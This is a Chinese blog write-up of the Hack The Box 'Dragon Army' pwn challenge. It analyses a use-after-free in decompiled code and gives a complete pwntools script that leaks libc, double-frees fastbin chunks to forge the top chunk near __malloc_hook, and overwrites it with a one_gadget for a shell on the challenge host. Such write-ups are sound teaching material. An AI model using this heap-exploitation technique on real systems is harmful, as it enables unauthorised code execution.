HTB pwn Dragon Army

逆向分析

在这里插入图片描述
程序使用了alloca函数扩大了栈区
在这里插入图片描述
此处可以泄露libc的地址
程序主要功能在下面

  while ( 1 ){while ( 1 ){fflush(stdin);fflush(_bss_start);fprintf(_bss_start, "\n%sDragons: [%d/%d]%s\n\n", "\x1B[1;34m", v5, 13LL, "\x1B[1;37m");fwrite(&unk_20C8, 1uLL, 0xEFuLL, _bss_start);fflush(stdin);fflush(_bss_start);num = read_num();if ( num == 1 )break;if ( num != 2 ){fwrite("\nFarewell..", 1uLL, 0xBuLL, _bss_start);exit(1312);}fwrite("\nDragon of choice: ", 1uLL, 0x13uLL, _bss_start);fflush(stdin);fflush(_bss_start);size = read_num();if ( size >= v5 ){fprintf(_bss_start, "\n%s[-] Unavailable dragon!%s\n", "\x1B[1;31m", "\x1B[1;34m");}else{free(s[size]);//存在UAFfprintf(_bss_start, "\n%s[+] The dragon flies away!\n%s", "\x1B[1;32m", "\x1B[1;34m");}}if ( v5 > 0xC ){fprintf(_bss_start, "\n%s[-] No more summons!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");exit(22);}fwrite("\nDragon's length: ", 1uLL, 0x12uLL, _bss_start);fflush(stdin);fflush(_bss_start);size = read_num();fflush(stdin);fflush(_bss_start);if ( (size > 0x58 || size <= 1) && (size <= 0x68 || size > 0x78) )//关于size为什么要这样设定在下面解释{fprintf(_bss_start, "\n%s[-] Invalid dragon length!%s\n", "\x1B[1;31m", "\x1B[1;34m");}else{v10 = (char *)malloc(size);s[v5] = v10;if ( s[v5] ){fflush(stdin);fflush(_bss_start);fwrite("\nName your dragon: ", 1uLL, 0x13uLL, _bss_start);fflush(stdin);fflush(_bss_start);fgets(s[v5], size, stdin);fflush(stdin);fflush(_bss_start);++v5;}else{fprintf(_bss_start, "\n%s[-] Something went wrong!%s\n\n", "\x1B[1;31m", "\x1B[1;34m");}}

漏洞分析

执行strings libc.so.6 | grep ubuntu
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0(库版本2.23)
在2.23我们熟悉的是利用fastbin UAF 写入malloc_hook上面的fake_fastbin地址然后申请(0x58,0x68]大小的块往malloc_hook写one_shot拿到权限。
但是吧,本题在size上面设置了限制使得我们不能直接一步到位。
那怎么办呢?
其实归根到底中心思想是伪造fastbin块没有变,转换一下思路如果我们可以修改topchunk的地址为malloc_hook附近且保证其大小合法(在malloc_hook - 36就合适)。
因为topchunk地址存在main_arena+96的地方所以我们要利用UAF将一个合法的大小放到main_arena上面
在这里插入图片描述
在这里插入图片描述

summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))

如图通过不断覆写0x61达到目的。

summon(0x58,b'\x00' * 64 + p64(malloc_hook - 36))

接下来把伪造好的块拿出来(main_arena + 0x10)将topchunk改掉。
之后就可以快乐的把malloc_hook申请出来改写了。

解题脚本

from pwn import *
def gd():gdb.attach(p)pause()
def summon(size,data):p.recvuntil(b'>> ')p.sendline(b'1')p.recvuntil(b': ')p.sendline(str(size).encode()) p.recvuntil(b': ')p.sendline(data)
def free(idx):p.recvuntil(b'>> ')p.sendline(b'2')p.recvuntil(b': ')p.sendline(str(idx).encode()) 
#p = process("./da")
p = remote('94.237.53.58',56788)
libc = ELF("./glibc/libc.so.6")
p.recvuntil(b': ')
p.send(b'r3dDr4g3nst1str0f1' + b'a' * 38)
p.recvuntil(b'a' * 38)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x6eab9
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook'] -36
main_arena = libc_base + libc.sym['main_arena']
one_shot = libc_base + 0xe1fa1
summon(0x58,b'a')
summon(0x58,b'a')
free(0)
free(1)
free(0)
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))summon(0x58,b'\x00' * 64 + p64(malloc_hook))
summon(0x48,b'a' * 20 + p64(one_shot))p.interactive()

成功getshell
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2804606.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

RLE 稀疏水平集 RLE sparse level sets 论文阅读笔记

目录 RLE 稀疏水平集随机访问水平集游程类型编码CSG 操作增强水平集 表现动画角色网格面到 RLE 水平集自相交时间抗锯齿 总结 原文&#xff1a; Houston, Ben, Mark Wiebe, and Chris Batty. “RLE sparse level sets.” ACM SIGGRAPH 2004 Sketches. 2004. 137. 只有一页&am…

【Java】RestClient的使用

RestClient的使用 先导入Maven坐标&#xff0c;要和elasticsearch和kibana的版本保持一致 <dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId><version>7.12.1<…

【深度学习】LoRA: Low-Rank Adaptation of Large Language Models,论文解读

文章&#xff1a; https://arxiv.org/abs/2106.09685 文章目录 摘要介绍LoRA的特点什么是低秩适应矩阵&#xff1f;什么是适应阶段&#xff1f;低秩适应矩阵被注入到预训练模型的每一层Transformer结构中&#xff0c;这一步是如何做到的&#xff1f; 摘要 自然语言处理的一个重…

c# 类的介绍及延伸

类介绍 类的定义是以关键字 class 开始&#xff0c;后跟类的名称。 类属于引用类型&#xff0c;只能通过new方式创建。 如果类定义中没有指定基类&#xff0c;那其基类为system.object // <访问修饰符> class class类名 <access specifier> class class_name { //…

Math.random、Random随机数的生成

Math.random、Random随机数的生成 Math.random() 方法案例&#xff1a;生成随机整数案例&#xff1a;生成随机字符 Random()类Random生产区间随机数的技巧&#xff1a;减加法案例&#xff1a;猜测随机一个幸运号码 1 - 100案例&#xff1a;生成随机字符 Math.random() 方法 Ma…

数据价值在线化丨TiDB 在企查查数据中台的应用及 v7.1 版本升级体验

本文介绍了企查查在数据中台建设中使用 TiDB 的经验和应用。通过从 MySQL 到 TiDB 的迁移&#xff0c;企查查构建了基于 TiDB Flink 的实时数仓框架 &#xff0c;充分利用了 TiDB 的分布式架构、MySQL 兼容性和完善的周边工具等特性&#xff0c;实现了数据的在线化处理。2023 年…

ACM题解Day6 | 质数素数模块 | 完数难题

学习目标&#xff1a; 博主介绍: 27dCnc 专题 : 数据结构帮助小白快速入门算法 &#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d;&#x1f44d; ☆*: .&#xff61;. o(≧▽…

Vue模板引用之ref特殊属性

1. 使用实例 <template><input ref"input" name"我是input的name" /><br /><ul><li v-for"arr in array" :key"arr" id"111" ref"itemRefs">{{arr}}</li></ul> </…

较通用web脚手架模板搭建

较通用web脚手架模板搭建 从这里开始就接触到以后写项目的思维了。 做一个web开发&#xff0c;那就要层次分明&#xff0c;要有个实现的规划&#xff0c;这通常也是有一个较为通用的模板的。 总的来说&#xff1a;不同的层次有不同的模块&#xff0c;每个模块有必须实现的功…

常用!基础!吴恩达deeplearning.ai:Tensorflow中数据形式

由于一些历史遗留问题&#xff0c;Numpy和Tensorflow在数据处理方面存在一些不一致的地方&#xff0c;今天我们主要来了解一下其中一些约定俗成的形式&#xff0c;从而能够让你写出正确的代码(耍帅&#xff09;。 文章目录 Tensorflow是如何表示数据的特征向量关于Numpy矩阵激…

Flutter(一):安装和环境配置、创建Flutter项目

安装和环境配置、创建Flutter项目 Flutter 下载方式1方式2 Flutter 环境配置配置国内镜像站点解压 Flutter将 flutter 添加到系统环境变量中运行 flutter doctor来验证安装 Android Studio下载插件创建项目安装 Android SDK 工具在模拟器上运行 Flutter 下载 方式1 全版本&…

深度学习介绍与环境搭建

深度学习介绍与环境搭建 慕课大学人工智能学习笔记&#xff0c;自己学习记录用的。&#xff08;赋上连接&#xff09; https://www.icourse163.org/learn/ZUCC-1206146808?tid1471365447#/learn/content?typedetail&id1256424053&cid1289366515人工智能、机器学习与…

数据结构day4

实现创建单向循环链表、创建结点、判空、输出、头插、按位置插入、尾删、按位置删除 loop_list.c #include "loop_list.h" loop_p create_head() {loop_p L(loop_p)malloc(sizeof(loop_list));if(LNULL){printf("空间申请失败\n");return NULL;}L->le…

华为配置WLAN AC和AP之间VPN穿越示例

配置WLAN AC和AP之间VPN穿越示例 组网图形 图1 配置WLAN AC和AP之间VPN穿越示例组网图 业务需求组网需求数据规划配置思路配置注意事项操作步骤配置文件 业务需求 企业用户接入WLAN网络&#xff0c;以满足移动办公的最基本需求。且在覆盖区域内移动发生漫游时&#xff0c;不影响…

CentOS 7.9.2009离线安装mysql 8.0客户端 (rpm包)

环境&#xff1a; #需求&#xff1a; 该服务器需要将csv文件入库到远端的mysql 服务器上。 CentOS Linux release 7.9.2009 (Core) 离线环境 &#xff0c;需安装mysql客户端 8.0.27#下载地址 https://downloads.mysql.com/archives/community/#按此顺序安装 rpm -ivh mysql…

alist修改密码(docker版)

rootarmbian:~# docker exec -it [docker名称] ./alist admin set abcd123456 INFO[2024-02-20 11:06:29] reading config file: data/config.json INFO[2024-02-20 11:06:29] load config from env with prefix: ALIST_ INFO[2024-02-20 11:06:29] init logrus..…

Kotlin filterIsInstance filterNotNull forEach

Kotlin filterIsInstance filterNotNull forEach fun main(args: Array<String>) {val i1 MyItem(1, 1)val i2: MyItem? nullval i3: Int 3val i4 "4"val i5 nullval i6 MyItem(6, 6)val list mutableListOf<Any?>(i1, i2, i3, i4, i5, i6)lis…

【算法与数据结构】链表、哈希表、栈和队列、二叉树(笔记二)

文章目录 四、链表理论五、哈希表理论五、栈和队列理论5.1 单调栈 六、二叉树理论6.1 树的定义6.2 二叉树的存储方式6.3 二叉树的遍历方式6.4 高度和深度 最近博主学习了算法与数据结构的一些视频&#xff0c;在这个文章做一些笔记和心得&#xff0c;本篇文章就写了一些基础算法…

【初始RabbitMQ】高级发布确认的实现

在生产环境中由于一些不明原因&#xff0c;导致 rabbitmq 重启&#xff0c;在 RabbitMQ 重启期间生产者消息投递失败&#xff0c; 导致消息丢失&#xff0c;需要手动处理和恢复。于是&#xff0c;我们开始思考&#xff0c;如何才能进行 RabbitMQ 的消息可靠投递呢&#xff1f; …

浅谈集群的分类

本文主要介绍集群部署相关的知识&#xff0c;介绍集群部署的基础&#xff0c;集群的分类、集群的负载均衡技术&#xff0c;集群的可用性以及集群的容错机制。随后介绍Redis-Cluster以及Mysql的架构以及主从复制原理。 集群介绍 单台服务器本身会受到带宽、内存、处理器等多方面…